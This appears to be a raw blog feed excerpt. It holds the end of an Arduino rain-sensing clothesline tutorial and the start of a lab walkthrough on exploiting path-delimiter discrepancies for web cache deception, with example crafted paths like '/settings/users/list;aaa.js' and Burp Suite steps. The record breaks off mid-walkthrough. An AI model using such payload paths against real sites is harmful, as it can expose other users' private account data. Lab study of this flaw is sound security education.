  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    The Serial Monitor uses the COM port, so if it’s open, uploading code will
    fail with errors like the one you got.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Try closing it and then upload your code again.&lt;/p&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Confirm CH340 Driver Installed Correctly&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Let’s double-check in Device Manager:&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;▶️ How to Open Device Manager:&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Press Win + X → Select Device Manager&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Expand Ports (COM &amp;amp; LPT)&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;You should see something like:&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;b&gt;USB-SERIAL CH340 (COM3)&lt;/b&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    ⚠️ If you see a yellow warning symbol, the driver didn&#39;t install correctly.
    Reinstall the CH340 driver and run it as administrator.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Correct Wiring Diagram (Text Version)&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;1. Rain Sensor Module (with digital output pin)&lt;/b&gt;
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;VCC → Nano 5V&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;GND → Nano GND&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;DO (Digital Output) → Nano D2&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;b&gt;2. Servo Motor&lt;/b&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Signal (Orange/Yellow wire) → Nano D3&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;VCC (Red) → Nano 5V&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;GND (Brown/Black) → Nano GND&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    Important: If the servo twitches or behaves oddly, use an external 5V power
    supply (like a battery pack or USB adapter) and connect its GND to Nano’s
    GND.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- sep  2024 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2642069341&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;✅ Arduino Nano Pin Summary&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeevMTtFM04O5LxC2M4QIjY0N-CIbop96z5ve4BOGFgn8YvVrOwoKi4F1cfxXziF-jSKFxTq5dim8bNclHkBT7KcIMQp-J8L4v-gstJjOtMIy7EjL-NIdV1PuRHn0c2hylCX8w9cmPYNHShuKYfpCY4NHQ-nOOJrF75NDzwL5reg3IrcB1YAHyWTB7aWvx/s705/arduino-nano-connection-jumper-wire.png&quot;
      imageanchor=&quot;1&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;270&quot;
        data-original-width=&quot;705&quot;
        height=&quot;154&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeevMTtFM04O5LxC2M4QIjY0N-CIbop96z5ve4BOGFgn8YvVrOwoKi4F1cfxXziF-jSKFxTq5dim8bNclHkBT7KcIMQp-J8L4v-gstJjOtMIy7EjL-NIdV1PuRHn0c2hylCX8w9cmPYNHShuKYfpCY4NHQ-nOOJrF75NDzwL5reg3IrcB1YAHyWTB7aWvx/w400-h154/arduino-nano-connection-jumper-wire.png&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;400&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# clothesServo.write(0);&lt;/b&gt; – This turns the servo to 0 degrees (you can
    change this angle if needed).
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# clothesServo.write(90); &lt;/b&gt;– This keeps the servo in the default
    position.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    Lets begin the test - For Live Visualization -
    &lt;i
      &gt;&lt;b
        &gt;&lt;a
          href=&quot;https://youtube.com/shorts/K-vluYgbkl4?si=UXtImEwFTmfTFptp&quot;
          target=&quot;_blank&quot;
          &gt;CLICK HERE&lt;/a
        &gt;&lt;/b
      &gt;&lt;/i
    &gt;
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4&gt;Disclaimer&lt;/h4&gt;
  &lt;p&gt;
    All tutorials are for informational and educational purposes only and have
    been made using our own routers, servers, websites and other vulnerable free
    resources. we do not contain any illegal activity. We believe that ethical
    hacking, information security and cyber security should be familiar subjects
    to anyone using digital information and computers. Hacking Truth is against
    misuse of the information and we strongly suggest against it. Please regard
    the word hacking as ethical hacking or penetration testing every time this
    word is used. We do not promote, encourage, support or excite any illegal
    activity or hacking.
  &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/6221124376830968540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/6221124376830968540'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/6221124376830968540'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2025/05/automatic-rain-sensing-clothesline.html' title='Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhB6g3kQQyNRGiVpVw4GGbor-rvR9Zeyc5LOGYtE7rny2EXjwQ_MlNCpl9lL54YpeZP8mFHGUmRXdVkzD0SXqAZMXgASKCGHO7le6JJPEkkuipiPeT5Y1rxb3UbNW8Q4cgE3H1J4gD4dsiagwqkNsFWSAK9yYN0B_tSIl0Ij0Xkon1A8CUy5vIr1uSq2Od/s72-w640-h426-c/rain-detection-system-IOT.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-4501593240514574317</id><published>2024-09-21T03:14:00.000-07:00</published><updated>2024-09-21T03:14:40.668-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Portswigger"/><category scheme="http://www.blogger.com/atom/ns#" term="Web cache deception"/><title type='text'>Exploiting path delimiters for web cache deception</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiRIxkcpyUKICynljYjEn-6PfMaGqZWfiT7QBvkeFHlrC0FcNQ0fsEzee-xTHUFf9Uhdk5GsNb8jHRJM6YK0HO_K2Rww9zWJsAzm3EArOj3MNCBdWw3n2TMeu6OnZvq25wUFT-Ii63yv-NBVyeU2WcU2YywvfZhIoHS-n9obkEMpGxcQHmWYDMpGcWlPwx/s1920/Exploiting%20path%20delimiters%20for%20web%20cache%20deception.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1920&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiRIxkcpyUKICynljYjEn-6PfMaGqZWfiT7QBvkeFHlrC0FcNQ0fsEzee-xTHUFf9Uhdk5GsNb8jHRJM6YK0HO_K2Rww9zWJsAzm3EArOj3MNCBdWw3n2TMeu6OnZvq25wUFT-Ii63yv-NBVyeU2WcU2YywvfZhIoHS-n9obkEMpGxcQHmWYDMpGcWlPwx/w640-h360/Exploiting%20path%20delimiters%20for%20web%20cache%20deception.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Cache means not catch!! Cache its a different means web cache deception its a
  vulnerability that enables to attacker to store sensitive, dynamic content and
  its cause by discrepancies between how the cache server and origin server
  handle the request.
&lt;/p&gt;
&lt;p&gt;
  Let&#39;s simply describe about this vulnerability and what is it?&amp;nbsp; A web
  cache system is sit between the origin server and user. If a client request a
  static resource, the request is first directed to the cache. If the cache
  doesn&#39;t containt a copy of the resource (known as the&amp;nbsp;&lt;b&gt;cache miss&lt;/b&gt;)
  , that time cache is forwarded to the&amp;nbsp;&lt;b&gt;origin server&lt;/b&gt;, which process
  and respond to the request. The response is then sent to the cache before
  being sent to the user. The cache uses a&amp;nbsp;&lt;b&gt;pre-configured&lt;/b&gt;&amp;nbsp;set
  of rules to determine whether to store the response.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  when a request for the same static resources is made in the future, the cache
  store the saved copy to the response directly to the user (&lt;b&gt;known as&amp;nbsp; a cache hit&lt;/b&gt;).
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg531t0uixVvoDJm9ouGSnWtIbN9NRSd6uzOOF54LhIdzQHLUyRzg1X3iOW5xhbC87fBD7PQ9pGBxP9ZG3azSqBCgQwyeQVuwMtj9QZKhgXjEomuo0pOZbFA8GizBUI6BwIkTr9MeCsjt37faoq50pq7X8xPY6XWVf0dBbDoZLt2jt46O_rTrMoieK6jsnb/s1110/caching.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;285&quot; data-original-width=&quot;1110&quot; height=&quot;164&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg531t0uixVvoDJm9ouGSnWtIbN9NRSd6uzOOF54LhIdzQHLUyRzg1X3iOW5xhbC87fBD7PQ9pGBxP9ZG3azSqBCgQwyeQVuwMtj9QZKhgXjEomuo0pOZbFA8GizBUI6BwIkTr9MeCsjt37faoq50pq7X8xPY6XWVf0dBbDoZLt2jt46O_rTrMoieK6jsnb/w640-h164/caching.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;image credit portswigger&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  For More information -
  &lt;a href=&quot;https://www.hackingtruth.in/2024/09/exploiting-path-mapping-for-web-cache.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Click Here&amp;nbsp;&lt;/b&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Delimiters specify boundaries between different URLs. The use of Characters
  and strings is generally&amp;nbsp; separate the URL like path from the query
  string. For example &lt;b&gt;?&lt;/b&gt;&amp;nbsp;is the use for separate the URL.
&lt;/p&gt;
&lt;p&gt;
  Discrepancies in how the cache and the origin server use characters and
  strings as the delimiters can result in web cache deception vulnerabilities.
  &lt;b&gt;example - /gallery;foo.js&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
  after &lt;b&gt;; semicolon &lt;/b&gt;it as&amp;nbsp; part of the path. if the cache has a rule
  to store responses for requests ending in &lt;b&gt;.css&lt;/b&gt;. It might cache and
  server the profile information as if it were a &lt;b&gt;CSS&lt;/b&gt;&amp;nbsp;file.
&lt;/p&gt;
&lt;p&gt;
  # &lt;b&gt;/gallery - &lt;/b&gt;This request is processed by the default HTML formatter,
  which returns the user profile information.
&lt;/p&gt;
&lt;p&gt;
  #&amp;nbsp;a&amp;nbsp;&lt;b&gt;/gallery.css -&amp;nbsp;&lt;/b&gt;The request is recognized as a CSS
  extension. There isn&#39;t a CSS formatter, so the request isn&#39;t accepted andn
  error is returned.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  NOTE -&amp;nbsp;Encoded characters may also sometimes be used as delimiters. For
  example, consider the request &lt;b&gt;/gallery%00foo.js&lt;/b&gt;:&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Exploiting delimiter discrepancies&lt;/p&gt;
&lt;p&gt;
  You are able to use delimiter discrepancy to add a static extension to the
  path that is viewed by the cache, but not the origin server. You need to
  identify a character that is used as a delimiter by the origin server but not
  the cache.
&lt;/p&gt;
&lt;p&gt;
  Firstly find characters that are used as a delimiters by the origin server,
  start this process by the adding an arbitary string to the URL of your target
  endpoint. For example, modify &lt;b&gt;/settings/users/list &lt;/b&gt;to
  &lt;b&gt;/settings/users/listaaa.&amp;nbsp;&lt;/b&gt;&amp;nbsp;You&#39;ll use this response as a
  reference when you start testing delimiter characters.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Note : I&lt;/b&gt;f the response is identical to the original response, this
  indicates that the request is being redirected. You&#39;ll need to choose a
  different endpoint to test.
&lt;/p&gt;
&lt;div&gt;
  Next, add a possible delimiter character between the original path and the
  arbitrary string, for example /settings/users/list;aaa:
&lt;/div&gt;
&lt;p&gt;
  &lt;b&gt;#&lt;/b&gt; If the response is identical to the base response, this indicates
  that the ; character is used as a delimiter and the origin server interprets
  the path as&lt;b&gt; /settings/users/list&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# &lt;/b&gt;If it matches the response to the path with the arbitrary string,
  this indicates that the ; character isn&#39;t used as a delimiter and the origin
  server interprets the path as &lt;b&gt;/settings/users/list;aaa&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Once you&#39;ve identified delimiters that are used by the origin server, test
  whether they&#39;re also used by the cache. To do this, add a static extension to
  the end of the path. If the response is cached, this indicates:
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# That the cache doesn&#39;t use the delimiter and interprets the full URL path
    with the static extension.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# That there is a cache rule to store responses for requests ending in
    .js.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Make sure to test all ASCII characters and a range of common extensions,
  including .css, .ico, and .exe.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  You can then construct an exploit that triggers the static extension cache
  rule. For example, consider the payload /settings/users/list;aaa.js. The
  origin server uses ; as a delimiter:
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# &lt;/b&gt;The cache interprets the path as&lt;b&gt;: /settings/users/list;aaa.js&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;#&lt;/b&gt; The origin server interprets the path as&lt;b&gt;: /settings/users/list&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The origin server returns the dynamic profile information.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s start through the lab practice-&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHaIA92V8f9D43qvv91ApB4iiRLM2Wlr5w8FJ3hf4G1uU03elYJbzQUsXX2R-qlXPWqC3DDgICSAukWlnR-RSNukxEux9w0v2WHj8ZXapDJMhcXDlpX0Y1f-7mBiCQpI8LKRL8TIcOFwwuFiAN8vSEWqWO7x7sBGAWF2lBAN8vwuZFW9IiwEhhUvqfpJ0u/s401/1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;401&quot; data-original-width=&quot;356&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHaIA92V8f9D43qvv91ApB4iiRLM2Wlr5w8FJ3hf4G1uU03elYJbzQUsXX2R-qlXPWqC3DDgICSAukWlnR-RSNukxEux9w0v2WHj8ZXapDJMhcXDlpX0Y1f-7mBiCQpI8LKRL8TIcOFwwuFiAN8vSEWqWO7x7sBGAWF2lBAN8vwuZFW9IiwEhhUvqfpJ0u/w568-h640/1.png&quot; width=&quot;568&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  After enabiling Proxy setup, Open burp suite and do intercept option start.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0tOhbw8gIZZoGPilow4I1WlRw05rcHRR9GkNbexOUVxhe-amMB53hn2zdpbygTcbes5LzyQfDFC9-2a8vo_xrEIFZ833GniW_2sBuI_aW5Jz9JGFz7GJkp3_e1gcW8FpmLuUWiTRGGoMjVU-tUnjd1UQ7FcmZjgohinlylICX4EgMIHD6WNypHxyY7cGd/s564/2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;204&quot; data-original-width=&quot;564&quot; height=&quot;232&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0tOhbw8gIZZoGPilow4I1WlRw05rcHRR9GkNbexOUVxhe-amMB53hn2zdpbygTcbes5LzyQfDFC9-2a8vo_xrEIFZ833GniW_2sBuI_aW5Jz9JGFz7GJkp3_e1gcW8FpmLuUWiTRGGoMjVU-tUnjd1UQ7FcmZjgohinlylICX4EgMIHD6WNypHxyY7cGd/w640-h232/2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  After that we have to go my account option and simple see in your burp suite ,
  its intercept the URL in burp suite.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuJDA1yqyCviP04tbskn9trk52NwjJByo24fRV4JnQP5PkVgJr8gBFB6n7kDEPVjT7u_iB2gBn2GwZMpxKV-6hGtDQiLb9ELrhz6NHtBJWwNtBre3AT7RA3X1e0JSIjEiH9zOJGLbmuwYtckbBK11-nzxK5y6QUQnqu4op7qGn4pHRFtKQLkh1Cm1xlrS7/s731/3.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;364&quot; data-original-width=&quot;731&quot; height=&quot;318&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuJDA1yqyCviP04tbskn9trk52NwjJByo24fRV4JnQP5PkVgJr8gBFB6n7kDEPVjT7u_iB2gBn2GwZMpxKV-6hGtDQiLb9ELrhz6NHtBJWwNtBre3AT7RA3X1e0JSIjEiH9zOJGLbmuwYtckbBK11-nzxK5y6QUQnqu4op7qGn4pHRFtKQLkh1Cm1xlrS7/w640-h318/3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;
    But you can not get easily anything, but&amp;nbsp;&lt;b&gt;never give up.&amp;nbsp;&lt;/b&gt;&amp;nbsp;so simple proced with below the&amp;nbsp;&lt;b&gt;ULR&lt;/b&gt;&amp;nbsp;as you can see
    this. After some seconds you have to&amp;nbsp;&lt;b&gt;turn off&amp;nbsp;&lt;/b&gt;&amp;nbsp;the
    proxy and go to burp suite.
  &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
  &lt;br /&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfl5k9kNIAwFXK3lEoLrE6h3vAypAj3U11whFpWhOipVaYfAUQ6uP-1xUNqXsQAfSVbIEclSpihs4p9NlFViSQ9BoUNtIMNfL0-e5Cbdpz7alp-HUXm8_ub6Yy729TxfHp9di87cSPocQorjIFooOeNeNoXm2Ic6L0S2hwQGyo89hZkd15B4XluFz8RS1d/s684/4.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;273&quot; data-original-width=&quot;684&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfl5k9kNIAwFXK3lEoLrE6h3vAypAj3U11whFpWhOipVaYfAUQ6uP-1xUNqXsQAfSVbIEclSpihs4p9NlFViSQ9BoUNtIMNfL0-e5Cbdpz7alp-HUXm8_ub6Yy729TxfHp9di87cSPocQorjIFooOeNeNoXm2Ic6L0S2hwQGyo89hZkd15B4XluFz8RS1d/w640-h256/4.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--15-02-24--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;6341130147&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;
    as you can see in below image (need to go in&amp;nbsp;&lt;b&gt;HTTP&amp;nbsp;&lt;/b&gt;proxy
    tab) request has arrived.&amp;nbsp;&lt;b&gt;GET /my-account&amp;nbsp;&lt;/b&gt;&amp;nbsp;and see
    the&amp;nbsp;&lt;b&gt;request tab.&lt;/b&gt;
  &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;
    &lt;b&gt;Cache Poisioning&amp;nbsp;&lt;/b&gt;It&#39;s important to distinguish web cache
    deception from web cache poisoning. While both exploit caching mechanisms,
    But its a little bit different.&lt;b&gt;&amp;nbsp;- C&lt;a href=&quot;https://www.kumaratuljaiswal.in/2022/01/code-your-own-arp-cache-poisoning.html&quot; target=&quot;_blank&quot;&gt;reate your own Arp cache poisioning - CLICK HERE&lt;/a&gt;&lt;/b&gt;
  &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCvUUqLNbBAvk5HZ4WthvSdBSBRDfX6nfPLGgCSQl0cO5A4VCnZPNvEju-TIVlqo0hzZAL9RjRerQn2szA2Gg_H_APFbmSZed63nNYtAFnFdRJqMH3lA24YcvrhVzSBFIHTLXiX7jg9UKKDwdgX2IbzC1FnPO4Hxx1a1iRCiiKR_UsIqqZ4OG2yuI_YhPG/s690/5.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;464&quot; data-original-width=&quot;690&quot; height=&quot;430&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCvUUqLNbBAvk5HZ4WthvSdBSBRDfX6nfPLGgCSQl0cO5A4VCnZPNvEju-TIVlqo0hzZAL9RjRerQn2szA2Gg_H_APFbmSZed63nNYtAFnFdRJqMH3lA24YcvrhVzSBFIHTLXiX7jg9UKKDwdgX2IbzC1FnPO4Hxx1a1iRCiiKR_UsIqqZ4OG2yuI_YhPG/w640-h430/5.png&quot; width=&quot;640&quot; 